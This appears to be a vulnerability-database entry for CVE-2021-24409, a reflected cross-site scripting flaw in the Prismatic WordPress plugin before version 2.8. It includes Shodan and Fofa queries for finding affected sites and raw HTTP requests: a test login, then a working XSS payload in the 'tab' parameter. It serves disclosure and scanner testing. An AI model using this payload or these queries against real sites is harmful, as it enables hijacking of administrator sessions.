| Title | Prismatic < 2.8 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking. |
| Remediation | Fixed in version 2.8 |
| CVSS Score | 6.1 |
| EPSS Score | 0.13254 |
| CVE ID | CVE-2021-24409 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/prismatic |
| Fofa Query | body=/wp-content/plugins/prismatic |
| Tags | cve2021 cve wpscan wordpress wp wp-plugin xss prismatic authenticated plugin-planet vuln |
The plugin does not escape the ‘tab’ GET parameter before outputting it back in an attribute, leading to a reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=ASCrZZ&pwd=ypyO6K&wp-submit=Log+In
GET /wp-admin/options-general.php?page=prismatic&tab=%22+style%3Danimation-name%3Arotation+onanimationend%3Dalert(document.domain)%2F%2F%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24409.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24409.pcap
N/AN/A